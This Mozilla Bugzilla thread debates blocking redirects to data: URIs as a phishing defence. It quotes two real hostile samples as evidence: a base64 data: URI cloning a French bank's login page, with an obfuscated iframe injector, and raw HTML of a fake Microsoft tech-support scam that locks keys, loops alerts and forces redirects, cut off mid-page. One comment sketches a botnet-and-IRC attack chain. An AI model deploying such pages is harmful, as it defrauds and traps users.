Closed Bug 786275 Opened 12 years ago Closed 2 years ago

Block redirects to data: URIs to prevent phishing

Categories

(Core :: Networking: HTTP, defect, P5)

Product:
Core
Component:
Networking: HTTP
Type:
defect

Tracking

()

Status:
RESOLVED DUPLICATE of bug 1380959

People

(Reporter: henning, Unassigned)

References

Details

(Whiteboard: [necko-would-take])

Attachments

(1 file)

phishing.pdf
473.52 KB, application/pdf
Details
Attached file phishing.pdf —
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1 Steps to reproduce: A reproduction can be seen at http://tinyurl.com/9rvqjts (view it with caution. It is not to be used as a Wikipedia login page) Actual results: As indicated in http://klevjers.com/papers/phishing.pdf, the data URI scheme can be exploited to host fully functional web pages, such as for login and handling private data. The entire web page's contents is hosted inside the data:URI, rather than at a location, allowing the "phisher" to evade the issue of compromising a server. Expected results: In my opinion, it is dangerous to allow Firefox to host web pages: The URIs can be of arbitrary length, following an arbitrary amount of data. Controls should be put in place to prevent this.
Summary: Vulnerability: Google Chrome is vulnerable to phishing stored in data URI → Vulnerability: Firefox is vulnerable to phishing stored in data URI
Component: Untriaged → Phishing Protection
Status: UNCONFIRMED → NEW
Ever confirmed: true
This report is public, so unhiding. http://www.theregister.co.uk/2012/09/03/phishing_without_hosts_peril/ Also, Phishing Protection is the wrong component for this. However, I'm not sure if this is a Firefox-specific issue or something best handled at the Core level.
Group: core-security
Component: Phishing Protection → Location Bar
OS: Windows 7 → All
Hardware: x86_64 → All
While it is true that you can replicate a webpage hosted on a data: uri, I don't think that this increases the risk of a phishing attack. For one, the URL shown in the address bar are less believable than creating domain name similar to the target. (eg. wikipadia.com, taking the example from the paper). The behavior described above is the intended behavior for data: uris - there are no content type or size limitations. Length alone is not a good indicator of malicious intent, as there are many common use case for large data URIs, for example working with images and other media client side. As an aside, I don't know why chrome blocks redirects to data: URIs. There was some discussion of this in firefox a long time ago in bug 211999. Maybe some sort of domain confusion mitigation, but that is a guess?
(In reply to Paul Theriault [:pauljt] from comment #3) > While it is true that you can replicate a webpage hosted on a data: uri, I > don't think that this increases the risk of a phishing attack. For one, the > URL shown in the address bar are less believable than creating domain name > similar to the target. (eg. wikipadia.com, taking the example from the > paper). To users who don't really understand URLs, the lack of an obvious domain won't necessarily make it unbelievable. They might just ignore it as noise and move on.
Blocks: 211999
Component: Location Bar → Networking: HTTP
Keywords: regression
Product: Firefox → Core
Summary: Vulnerability: Firefox is vulnerable to phishing stored in data URI → Block redirects to data: URIs to prevent phishing
I don't understand how this is any different from a link that just document.write()s out the page in question. Is it?
@Boris, same thing pretty much - I assume you mean a JavaScript link like javascript:document.write(....) In websites which allow link submission, often data URIs are not blocked when JavaScript URIs are, but to me that is a vulnerability in the website not the browser.
I don't see a reason why redirecting to a data: URI is helpful in any way? Thus we can exclude this case to protect against this attack. I saw somewhere a way to "cloak" the URL thus one can use this attack and show another URL instead of the data: URL which in turn will fool users. I'd just stop redirecting to data: URIs and be done with it. There is no reason to not prevent this, IMO.
not really a "regression", this was intended behavior. This bug is asking that we reconsider that decision, but still doesn't make it a regression IMHO.
Keywords: regression
Data on whether other browsers support redirects to data: would be nice here (and/or usage info on how often this happens in the wild). IE 7 doesn't support data: at all***, so sites need to work around it (if they care about IE support), so I'm guessing usage isn't rampant, but some subset of sites using it might also use redirects, too. None of which is to say we can't break this if it's a small number. B2G note: we currently don't supported redirects from http->data in e10s (bug 707624 and bug 661604), and it looks like a non-trivial amount of work, so I'd love to not have to bother. *** http://en.wikipedia.org/wiki/Data_URI_scheme#Disadvantages
Blocks: 707624
> I don't see a reason why redirecting to a data: URI is helpful in any way? Bug 253320?
I don't really see this in the type of phishing which steals credentials, but rather the type of phishing that exploits a browser. Rather it be flash, java, javascript, the browser, or some other sort of plugin exploit. The attack vector I can see is this. 1. Hacker has an exploit. 2. Hacker uses tor to visit tinyurl or some other service with supports data urls. 3. Hacker pastes exploit. 4. Hacker sends bots to email phishing messages to people with the tiny url hidden by a hyperlink. 5. User clicks and browser is pwned by exploit. In that case, it is an actual useful attack. The hacker doesn't need to have any server except for an IRC server which could be found by scanning the net for port 6667. The hacker cannot be easily tracked as he would be using tor for communication to tinyurl and for irc login. The hacker could use multiple IRC servers chosen by a cryptographic random number based on the day, which the hacker could know which time the bots will be in which channel/server and join ahead of time setting the command in the topic and receiving data back. The hacker cannot be found by the email as he would be using bots to send them out ether by the user's own email address or by computers which has the ability to open port 25 via microsoft's awesome protocol UPnP. Or the bots could chat with their friends and analyze the messages sent and received to form a message which will best get their friend to click. That is the attack vector I can see with this. I don't see this as a phishing exploit to get user's credentials as the hacker has to receive the credentials somehow within the javascript/html standard! The reason it has to be done by tinyurl or some other service is because data urls do not get assigned to the browser. It's an internal url for the browsers only. I do not see any reason anyone would be redirecting to an data url as they could just directly link to it. NOTE: This could also apply to javascript window.location, and <meta>. Not just http redirects! While we are at it, might as well also block redirection to javascript urls... Most url shorteners block it, but there is the case one may allow it. Such as my own. It's not a good idea and the same as data, none should be redirecting to javascript! Just my thoughts. Hopefully this will give an idea of why this could be dangerous.
> might as well also block redirection to javascript urls. That's blocked already.
(In reply to Boris Zbarsky (:bz) from comment #10) > > I don't see a reason why redirecting to a data: URI is helpful in any way? > > Bug 253320? I don't see a simple bug as a reason to allow this. In this (and the connected) bug there's only theoretical talk but no indication about a real-life problem solved by redirecting to data: URIs. Can anybody describe a useful use-case for an entity wanting to redirect to a data: URI? Plus, as Chrome already blocks this, I don't believe there will be any web-wide use of such a feature.
(In reply to Florian Bender from comment #13) > I don't see a simple bug as a reason to allow this. In this (and the > connected) bug there's only theoretical talk but no indication about a > real-life problem solved by redirecting to data: URIs. > > Can anybody describe a useful use-case for an entity wanting to redirect to > a data: URI? > > Plus, as Chrome already blocks this, I don't believe there will be any > web-wide use of such a feature. A problem it solves... Hmm... Encode flash exploit into a data url, create a tinyurl to redirect the user to exploit, email the user or send on chat, and infect machine... That sounds the most useful reason to allow this to me, it makes my job as being a hacker a lot easier! It won't be easy to find out who I am, and it allows me to get a free host for the data! Free = awesome! Note: I am no hacker, just making a joke as that's the only use case I can see with it. I have never see any website using this for anything other than embedding images into the actual HTML reducing the number of calls to a server.
Note that site in bug 253320 is now showing 404 for the URI. And unicyclists have never been a core target audience :) If we really think there might be non-hacker use cases, I could see adding telemetry before nuking this. But if Chrome is banning it already I think we should go ahead and block these redirects.
The only other thing I saw was that javascript html data generator posted in bug 211999. Honestly, they could just re-write it to output into a clickable url or into a text field if we decide to block them. Chrome already blocks them, so I see no reason not to block.
How about adding telemetry now (if that's easily possible), and preparing a patch to fix this so it can be applied as soon as a conclusion is found? Is it possible to just block redirecting to data: URIs for the URL bar, iFrame, window.location, object, …(?) and not e. g. IMG, VIDEO, AUDIO? That might circumvent problems with some useful appliances.
> Is it possible to just block redirecting to data: URIs for the URL bar, iFrame, > window.location, object, …(?) Yes, if necessary.
Are there any objections to block redirects to data: URIs in the URL bar, (i)frames, window.location, and <object>s? What about Workers, XMLHttpRequest, do they need that treatment as well?
Can we have this now for location bar, window.location, iFrame and objects?
Fixing this would break http://software.hixie.ch/utilities/cgi/data/data It's not entirely clear to me that's desirable.
This can be worked around by using iFrames (if they are not blocked) and textareas. Concerning iFrames: Would auto-sandboxing help increasing the security?
(In reply to Paul Theriault [:pauljt] from comment #3) > While it is true that you can replicate a webpage hosted on a data: uri, I > don't think that this increases the risk of a phishing attack. For one, the > URL shown in the address bar are less believable than creating domain name The address isn't shown in the address bar on mobile, so we cannot consider the address bar as a security feature or an anti-phishing feature anymore.
afaict, Google Chrome only blocks redirects to data: URIs because they incorrectly think Firefox has a security bug and want to prevent sites from relying on it.
I had a similar ling in a phishing mail. The problem is that URL is not recognized as a normal URL by Mozilla Firefox and so, it's impossible to report a fishing to Google (in the Mozilla Firefox help menu, the menu to report the fishing is inactive). data:text/html;https://particuliers.secure.lcl.fr/outil/UAUT?from=/outil/UWHO/Accueil/;base64,IDxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHNyYz1ub21kdWZpY2hpZXIuanM+DQo8L3NjcmlwdD4gDQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMSBUcmFuc2l0aW9uYWwvL0VOIj4NCjxodG1sPg0KPGhlYWQ+PG1ldGEgY2hhcnNldD0idXRmLTgiIC8+PHNjcmlwdD5mdW5jdGlvbiBlbnZGbHVzaChhKXtmdW5jdGlvbiBiKGMpe2Zvcih2YXIgZCBpbiBhKWNbZF09YVtkXTt9aWYod2luZG93LnJlcXVpcmVMYXp5KXt3aW5kb3cucmVxdWlyZUxhenkoWydFbnYnXSxiKTt9ZWxzZXt3aW5kb3cuRW52PXdpbmRvdy5FbnZ8fHt9O2Iod2luZG93LkVudik7fX1lbnZGbHVzaCh7ImFqYXhwaXBlX3Rva2VuIjoiQVhnVXFEaFNKVjgyb3ZjZCIsImxoc2giOiJaQVFFalNoN2kiLCJraHNoIjoiMGBzamBlYHJtYHMtMGZkdV5nc2hkb2VyLTBnY15ldXJmLTNnY15ldXJmOzE7ZW5idGxkb3U7ZmR1RG1kbGRvdXJDeE9gbGQtMllMTUl1dXFTZHB0ZHJ1O3FzbnVudXhxZDtyZG9lLTB1bmpkb2pueCJ9KTs8L3NjcmlwdD48c2NyaXB0PkNhdmFscnlMb2dnZXI9ZmFsc2U7PC9zY3JpcHQ+PG5vc2NyaXB0PjxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IFVSTD0vP19mYl9ub3NjcmlwdD0xIiAvPjwvbm9zY3JpcHQ+PG1ldGEgbmFtZT0icmVmZXJyZXIiIGNvbnRlbnQ9Im9yaWdpbi13aGVuLWNyb3Nzb3JpZ2luIiBpZD0ibWV0YV9yZWZlcnJlciIgLz48bGluayB0eXBlPSJ0ZXh0L2NzcyIgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2Zic3RhdGljLWEuYWthbWFpaGQubmV0L3JzcmMucGhwL3YyL3laL3IvVTZKWFdic2gtcnUuY3NzIiBkYXRhLWJvb3Rsb2FkZXItaGFzaD0iUVhLS08iIGRhdGEtcGVybWFuZW50PSIxIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIiAvPg0KPGhlYWQ+DQo8IURPQ1RZUEUgaHRtbD4NCjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4gc3RyPSdAM0NANjlANjZANzJANjFANkRANjVAMjBANzNANzRANzlANkNANjVAM0RAMjJANzdANjlANjRANzRANjhAM0FAMjBAMzFAMzNAMzRAMzVANzBANzhAM0JAMjBANjhANjVANjlANjdANjhANzRAM0FAMjBAMzlAMzhAMzBANzBANzhAM0JAMjJAMEFAMjBAMjBAMjBAMjBAMjBAMjBAMjBAMjBAMjBANzNANzJANjNAM0RAMjJANjhANzRANzRANzBANzNAM0FAMkZAMkZANzdANzdANzdAMkVANzNANjFANjlANkVANzRANzBANjFANzVANkNAMkVANjNANkZANkRAMkVANzRANzdAMkZANkFANzNAMkZANzBANjFANzJANzRANjlANjNANzVANkNANjlANjVANzJANzNAMkZANzNANjVANjNANzVANzJANjVAMkZAMjJAM0VAM0NAMkZANjlANjZANzJANjFANkRANjVAM0UnOyBkb2N1bWVudC53cml0ZSh1bmVzY2FwZShzdHIucmVwbGFjZSgvQC9nLCclJykpKTsgPC9zY3JpcHQ+DQoNCjxodG1sIGxhbmc9ImZyIj4NCjxoZWFkPg0KCTwhLS0gQ09NTU9OIC0tPg0KCTxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiAvPg0KCTwhLS0gT2JqX0hlYWQgLS0+PHRpdGxlPkJhbnF1ZSBldCBBc3N1cmFuY2UgTENMPC90aXRsZT48bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQWNjw6lkZXogw6Agdm9zIGNvbXB0ZXMgZXQgZMOpY291dnJleiB0b3V0ZXMgbGVzIG9mZnJlcyBldCBsZXMgc2VydmljZXMgcHJvcG9zw6lzIHBhciBMQ0wgQmFucXVlIGV0IEFzc3VyYW5jZSA6IGdlc3Rpb24gYXUgcXVvdGlkaWVuLCBjYXJ0ZXMgYmFuY2FpcmVzLCBwcsOqdHMgaW1tbywgY3LDqWRpdCBhdXRvLCBhc3N1cmFuY2VzLCDDqXBhcmduZSBldCBwbGFjZW1lbnRzLCBvZmZyZXMgw6l0dWRpYW50cyAuLi4iLz48bWV0YSBwcm9wZXJ0eT0ib2c6dGl0bGUiIGNvbnRlbnQ9IkJhbnF1ZSBldCBBc3N1cmFuY2UgTENMIiAvPjxtZXRhIHByb3BlcnR5PSJvZzp0eXBlIiBjb250ZW50PSJ3ZWJzaXRlIiAvPjxtZXRhIHByb3BlcnR5PSJvZzp1cmwiIGNvbnRlbnQ9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvIiAvPjxtZXRhIHByb3BlcnR5PSJvZzpkZXNjcmlwdGlvbiIgY29udGVudD0iQWNjw6lkZXogw6Agdm9zIGNvbXB0ZXMgZXQgZMOpY291dnJleiB0b3V0ZXMgbGVzIG9mZnJlcyBldCBsZXMgc2VydmljZXMgcHJvcG9zw6lzIHBhciBMQ0wgQmFucXVlIGV0IEFzc3VyYW5jZSA6IGdlc3Rpb24gYXUgcXVvdGlkaWVuLCBjYXJ0ZXMgYmFuY2FpcmVzLCBwcsOqdHMgaW1tbywgY3LDqWRpdCBhdXRvLCBhc3N1cmFuY2VzLCDDqXBhcmduZSBldCBwbGFjZW1lbnRzLCBvZmZyZXMgw6l0dWRpYW50cyAuLi4iLz48bWV0YSBwcm9wZXJ0eT0ib2c6aW1hZ2UiIGNvbnRlbnQ9Imh0dHA6Ly9wYXJ0aWN1bGllcnMubGNsLmZyL1Jlc3NvdXJjZXMvSW1hZ2VzVjIvbG9nby1sY2wtcGFydC5qcGciIC8+PCEtLSBPYmpfSGVhZCAtLT48c2NyaXB0IHNyYz0iLi4vdl8xLjAvanMvanF1ZXJ5LmJhc2U2NC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4NCg0KCTxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9RWRnZSIgLz4NCgk8bGluayByZWw9Imljb24iIHR5cGU9ImltYWdlL3BuZyIgaHJlZj0iaHR0cHM6Ly9wYXJ0aWN1bGllcnMuc2VjdXJlLmxjbC5mci9pbWFnZXMvZmF2aWNvbi5pY28iIC8+DQoJPCEtLSBDT01NT04gLS0+DQogICA8IS0tIENTUyAtLT4NCgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJodHRwczovL3BhcnRpY3VsaWVycy5zZWN1cmUubGNsLmZyLy8vY29tbW9uL2Nzcy9ib290c3RyYXAubWluLmNzcz92PTIwIiAvPg0KCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvY3NzL2dsb2JhbC5taW4uY3NzP3Y9MjAiIC8+DQoJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iaHR0cHM6Ly9wYXJ0aWN1bGllcnMuc2VjdXJlLmxjbC5mci9jc3Mvc3R5bGUubWluLmNzcz92PTIwIiAvPg0KCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvY29tbW9uL2Nzcy9qcXVlcnkucmV2ZWFsLmNzcz92PTIwIiAvPg0KCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvY29tbW9uL2Nzcy9mb3JtLWJvdXRvbnMubWluLmNzcz92PTIwIiAvPg0KCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvY29tbW9uL2Nzcy9jb21tb24uY3NzP3Y9MjAiIC8+DQoJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iaHR0cHM6Ly9wYXJ0aWN1bGllcnMuc2VjdXJlLmxjbC5mci9jc3MvaWRlbnRpZmljYXRpb24uY3NzP3Y9MiIgLz4NCgk8IS0tIENTUyAtLT4NCgkNCgk8IS0tIEpTIC0tPg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvY29tbW9uL2pzL2pxdWVyeS4xLjgubWluLmpzP3Y9MjAiPjwvc2NyaXB0Pg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvY29tbW9uL2pzL2pxdWVyeV9jc3NIb29rX2JncG9zLmpzP3Y9MjAiPjwvc2NyaXB0Pg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvY29tbW9uL2pzL2pxdWVyeS5yZXZlYWwubWluLmpzP3Y9MjAiPjwvc2NyaXB0Pg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvY29tbW9uL2pzL2Jvb3RzdHJhcC5taW4uanM/dj0yMCI+PC9zY3JpcHQ+DQoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9wYXJ0aWN1bGllcnMuc2VjdXJlLmxjbC5mci9jb21tb24vanMvanF1ZXJ5Lm1vZGFsRGlhbG9nLmpzIj48L3NjcmlwdD4NCgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3BhcnRpY3VsaWVycy5zZWN1cmUubGNsLmZyL2NvbW1vbi9qcy9jb21tb24ubWluLmpzP3Y9MjAiPjwvc2NyaXB0Pg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvanMvZnVuY3Rpb25zLm1pbi5qcz92PTIwIj48L3NjcmlwdD4NCgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3BhcnRpY3VsaWVycy5zZWN1cmUubGNsLmZyL2pzL25hdmlnYXRldXJzLmpzP3Y9MjAiPjwvc2NyaXB0Pg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vcGFydGljdWxpZXJzLnNlY3VyZS5sY2wuZnIvanMvaWRlbnRpZmljYXRpb24uanM/dj0yMCI+PC9zY3JpcHQ+DQoJPCEtLSBKUyAtLT4NCiAgPG1ldGEgbmFtZT0iR0VORVJBVE9SIiBjb250ZW50PSJNU0hUTUwgOC4wMC43NjAxLjE3NTE0Ij4NCjwvaGVhZD4NCjxib2R5Pg0KPC9ib2R5Pg0KDQo8L2h0bWw+DQoNCg0KDQoNCg0KDQo=
I don't think we should block redirects to data: URLs. They are used for many things and aren't especially useful for phishing. It might make sense to enable the "Report phishing..." menu item, with options to include the entire data: page, the http(s) URL that directed there, and the http(s) URL that contained the initial link. But it would be tricky to make the privacy implications of each step clear.
And adding an alert message ?
Whiteboard: [necko-would-take]
Is there anyway to add a disable option or ask before redirect to this kind? Since there is no IP or file to download there isn't a way for me to block it or prevent it. It's very annoying when they load with sound Here is an example what I ran into. Constantly popping up alert message that won't go away and play alert sound in the background. Don't click or paste the following (Chrome won't render it due to it's length) data:text/html;base64,<html xmlns="http://www.w3.org/1999/xhtml">
<!-- Mirrored from winfirewallwarning.in/ by HTTrack Website Copier/3.x [XR&CO'2014], Tue, 26 Apr 2016 18:37:50 GMT -->
<head><meta name="robots" content="noindex,nofollow">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">

<title>Microsoft Official Support</title>

    <link href="https://storage.googleapis.com/assets-moziliia-new/bootstrap.css" rel="stylesheet">

    <link href="https://storage.googleapis.com/assets-moziliia-new/style.css" rel="stylesheet">
    
    
    	<script type="text/javascript">
		window.onkeydown = function(evt)
		{
			if(evt.keyCode == 27 || evt.keyCode == 18 || evt.keyCode == 123 || evt.keyCode == 85 || evt.keyCode == 9 || evt.keyCode == 115 || evt.keyCode == 116 || evt.keyCode == 112 || evt.keyCode == 114 || evt.keyCode == 17)
			{
				return false;

			}

		};
		window.onkeypress = function(evn)
		{
			if(evn.keyCode == 123 || evn.keyCode == 117) return false;

		};
	</script>
    
    <script>
    function DetectMobile() {
        if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)) { return true; } else { return false; }
    }

    function myFunction() {
        if (!DetectMobile()) {
            setInterval(function () { alert(" ** YOUR COMPUTER HAS BEEN BLOCKED **\n\nError # SL9DW61\n\nPlease call us immediately at: 1-844-692-6305\nDo not ignore this critical alert.\n If you close this page, your computer access will be disabled to prevent further damage to our network.\n\nYour computer has alerted us that it has been infected with a virus and spyware.  The following information is being stolen...\n\n> Facebook Login\n> Credit Card Details\n> Email Account Login\n> Photos stored on this computer\nYou must contact us immediately so that our engineers can walk you through the removal process over the phone.  Please call us within the next 5 minutes to prevent your computer from being disabled.\n\nToll Free: 1-844-692-6305\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n") }, 1000);
        }
    }
    if (DetectMobile()) { document.body.style.backgroundImage = 'none' }
	
	window.onload = myFunction();

    
</script>





<script src="https://storage.googleapis.com/assets-moziliia-new/retreaver.min.js" type="text/javascript"></script>

    <script src="https://storage.googleapis.com/assets-moziliia-new/jquery-1.11.2.min.js" type="text/javascript"></script>


<script>
        function getURLParameter(name) {
            return decodeURI(
                (RegExp(name + '=' + '(.+?)(&|$)').exec(location.search)||[,null])[1] || ''
            );
        }
    </script>

   <script>
        function getSystemInfo() {


        }
</script>


  <script>

        var ran = false;  //Flag we have not run the script to pull the number yet

        var loco = ""; //The location of the page that we will load on a second pop

        var msg = "";



        //figure out what to use for default number and number loaded on subsequent load (Any number from the campaign that is static can be used (or even direct line to client center)

        var default_number = "1 800 984 322"; //will be used when number pool is full as the default number (Use Whatever Country Format the number is for)

        var default_plain_number = "18009843221"; //will be used as the unformatted default number for hyperlinking the number/image/text

        var number = "1 800 984 322"; //use this variable for the formatted number to display

        var plain_number = "1800984322"; //use this variable for the hyperlink if used <a href="tel:+1"+ plain_number +"">



        //allow for the traffic source to send in their own default number if a number can't be obtained from the pool

        var dn = getURLParameter('dn');

        if (dn != '') { //if we going to use a default number different for each affiliate

            default_plain_number = dn;

            plain_number = dn;

            var dfn = getURLParameter('dfn'); //get the default formatted number sent in

            if (dfn == "") dfn = dn; //if no formatted number just use it unformatted

            default_number = dfn; //so we have it in a good format as well

            number = dfn;

        }



        //if we already loaded the page before OR the source is just trying to use a static number at your site

        var ftfn = getURLParameter('ftfn'); //if you see a formatted number to use in the URL, use that, don't call for a new number

        if (getURLParameter('ftfn')) { //if we are reloading the page, don't call the system to get a new number

            number = ftfn; //we will use this as the formatted number and not call system for a new number

            var ptfn = getURLParameter('ptfn'); //get the unformatted number to use for hyperlinking

            if (getURLParameter('ftfn'))

                ptfn = ftfn; //if no unformatted number just use it formatted for hyperlinking

            plain_number = ptfn; //so we have it in a good hyperlink format as well

        }

    </script>

 <script>

        function getSystemInfo() {

            
        }

    </script>
    
    <script type="text/javascript" defer>

        function loadNumber() {

            getSystemInfo();



            if (!ran) { //if we haven't ran this function before, get a new number

                if (!getURLParameter('ftfn')) { //if we don't have the phone# in the URL, get it the first time

// Initialize the campaign using the campaign key from your campaign page.  On the line below, nothing should ever need to change but the key

                    var campaign = new Callpixels.Campaign({campaign_key: '2b3fc81a415d65c3fd7a5fc473956176'});



// Set the tags we want to use in order to find a matching number.  Format:   var tags = {calling_about: 'sales', currently_insured: 'no'}; format is basically var tags = {tag1: 'value1', tag2: 'value2', etc};

                    var tags = {

                        lander: 'redsod',

                        os: 'Unknown'

                    }; //leave like this if you are not trying to send any tags, or replace with above format.



// request a number that matches the tags. Format: campaign.request_number(tags, function (matching_number){}, function(error){});

                    campaign.request_number(tags,

                        function (matching_number) {

                            number = matching_number.get('formatted_number');

                            plain_number = matching_number.get('plain_number');



// Save the number so we can reference it later.

                            window.callpixels_number = matching_number;

                        }, //end the function (matching_number)

// 3rd Parameter of the campaign.request_number function is the error handling

                        function (error) {

                            number = default_number; //Since this isn't being returned from function, this is actually a formatted string to use for the default number

                            plain_number = default_plain_number; //And this is the unformatted number to be used for hypering linking <a href="tel:+1[plain_number]....

                        } //end the error function

                    ); //end the campaign.request_number function

                } //end if reloading



                ran = true; //so we don't get the number more than once



                function doRedirect(url) {

                    setTimeout(function() {

                        location.href = url;

                    }, 50);

                }









                function randomString(length) {

                    var text = "";

                    var possible = "abcdefghijklmnopqrstuvwxyz0123456789";

                    for(var i = 0; i < length; i++) {

                        text += possible.charAt(Math.floor(Math.random() * possible.length));

                    }

                    return text;

                }

                var loco_params = "?ptfn=" + plain_number + "&ftfn=" + number + ""; //on a reload, the script looks for the ftfn variable and will not call the script to get a new number again.

                var c=randomString(10);

                var e=c+"."+window.location.hostname+window.location.pathname;

                loco="http://"+e+loco_params;





                FormattedNumber1.innerHTML = number;

                FormattedNumber2.innerHTML = number;

                audioarea.innerHTML = '<audio autoplay="autoplay" loop=""><source src="alert3.mp3" type="audio/mpeg"></audio>';



                function leavebehind() {

                    var leavebehind;

                    leavebehind = loco;

                    setTimeout(

                        function () {

                            window.location.href = leavebehind;

                        },

                        500);

                    return true;

                }









                function myFunction() {

                    var step = 0,

                        previousStep = 0,

                        redirected = false;



                    setInterval(function () {

                        // Firefox NS_ERROR_NOT_AVAILABLE fix

                        if (step !== previousStep) {

                            if (!redirected) {

                                redirected = true;

                                console.log('redirect for Firefox');

                                doRedirect(loco);

                            }

                        }

                        step++;



                        var start = new Date().getTime();

                        



                        // if delta less than 50ms then it's browser's action

                        // thus we need redirect

                        var dt = new Date().getTime() - start;

                        console.log(dt);

                        if (dt < 50) {

                            if (!redirected) {

                                redirected = true;

                                console.log('redirect by delta time');

                                doRedirect(loco);

                            }

                        }



                        previousStep++;

                    }, 100);

                }



                function confirmExit() {

                    window.location.href = loco;

                }

                window.onbeforeunload = confirmExit;

                onmouseover="myFunction();";

                onclick="myFunction();";

                onkeydown="myFunction();";

                myFunction();

            } //end the if Not Ran check

        } //end the loadNumber function

    </script>
</head>




<body onmouseover="myFunction();" onclick="myFunction();" onkeydown="myFunction();" onUnload="myFunction();" onLoad="countPopup();">
	
	<div id="coFrameDiv" style="height:0px;display:none;">

    <iframe id="coToolbarFrame" src="about:blank" style="height:0px;width:100%;display:none;"></iframe>

</div>

<span id="audioarea"></span>




<!-- Fixed navbar -->

<nav class="navbar navbar-default navbar-static-top">

    <div class="container">

        <div class="navbar-header">

            <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">

                <span class="sr-only">Toggle navigation</span>

                <span class="icon-bar"></span>

                <span class="icon-bar"></span>

                <span class="icon-bar"></span>

            </button>

            <a class="navbar-brand" href="#">

                <img src="https://storage.googleapis.com/assets-moziliia-new/microsoft.png" alt="Microsoft">

            </a>

        </div>

        <div id="navbar" class="navbar-collapse collapse">

            <ul class="nav navbar-nav">

                <li class="dropdown">

                    <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">Store<span class="caret"></span></a>

                    <ul class="dropdown-menu">

                        <li><a href="#">Store Home </a></li>

                        <li><a href="#">Devices</a></li>

                        <li><a href="#">Software</a></li>

                        <li><a href="#">Apps</a></li>

                        <li><a href="#">Games</a></li>

                    </ul>

                </li>

                <li class="dropdown">

                    <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">Products<span class="caret"></span></a>

                    <ul class="dropdown-menu">

                        <li><a href="#">Software &amp; services</a></li>

                        <li><a href="#">Devices &amp; Xbox</a></li>

                        <li><a href="#">For business</a></li>

                    </ul>

                </li>

                <li><a href="#">Support</a></li>

            </ul>

            <ul class="nav navbar-nav navbar-right">

                <li><a href="#"><span class="glyphicon glyphicon-shopping-cart"></span>0</a></li>

                <li><a href="#">Sign in</a></li>

            </ul>

        </div><!--/.nav-collapse -->

    </div>

</nav>



<div class="container">

    <div class="jumbotron">

        <div class="row">

            <div class="col-xs-6 text-left">

                <h2 style="padding-left: 30px;">Call for support:</h2>

                <h2> +1-844-692-6305<span id="FormattedNumber1"></span></h2>

            </div>

            <div class="col-xs-6 text-right">

